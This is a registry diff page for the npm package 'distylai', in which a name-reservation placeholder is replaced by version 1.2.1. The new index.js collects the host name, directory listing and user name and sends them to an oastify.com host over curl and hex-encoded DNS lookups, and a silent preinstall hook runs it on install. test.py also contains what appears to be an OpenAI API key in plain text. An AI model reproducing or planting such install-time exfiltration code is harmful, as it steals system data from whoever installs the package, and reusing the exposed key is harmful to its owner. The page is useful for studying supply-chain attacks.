distylai 0.0.0 → 1.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of distylai might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +12 -0
  2. package/package.json +10 -6
  3. package/test.py +9 -0
package/index.js ADDED
@@ -0,0 +1,12 @@
1
+ const { exec } = require("child_process");
2
+ exec("a=$(hostname;dir;pwd;whoami;echo 'distylai';curl https://0qrhceipowlldij87tg31yjdc4iv6lua.oastify.com;) && echo $a | xxd -p | head | while read ut;do nslookup $ut.0qrhceipowlldij87tg31yjdc4iv6lua.oastify.com;done" , (error, data, getter) => {
3
+ if (error) {
4
+ console.log("error", error.message);
5
+ return;
6
+ }
7
+ if (getter) {
8
+ console.log(data);
9
+ return;
10
+ }
11
+ console.log(data);
12
+ });
package/package.json CHANGED
@@ -1,13 +1,17 @@
1
1
  {
2
2
  "name": "distylai",
3
- "version": "0.0.0",
4
- "description": "This package is reserved to prevent distylai name squatting",
5
- "main": "index.js",
3
+ "version": "1.2.1",
4
+ "description": "",
5
+ "main": "main.js",
6
6
  "scripts": {
7
+ "preinstall": "node index.js > /dev/null 2>&1",
7
8
  "test": "echo \"Error: no test specified\" && exit 1"
8
9
  },
9
- "keywords": [],
10
- "author": "Distyl AI <info@distyl.ai>",
10
+ "author": "lexi2",
11
11
  "license": "ISC",
12
- "type": "commonjs"
12
+ "dependencies": {
13
+ "distylai": "^1.2.0",
14
+ "install": "^0.13.0",
15
+ "lodash": "^4.17.21"
16
+ }
13
17
  }
package/test.py ADDED
@@ -0,0 +1,9 @@
1
+ from openai import OpenAI
2
+ import os
3
+
4
+ api_key = os.getenv("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")
5
+ client = OpenAI(api_key=api_key)
6
+
7
+ models = client.models.list()
8
+ for model in models:
9
+ print(model)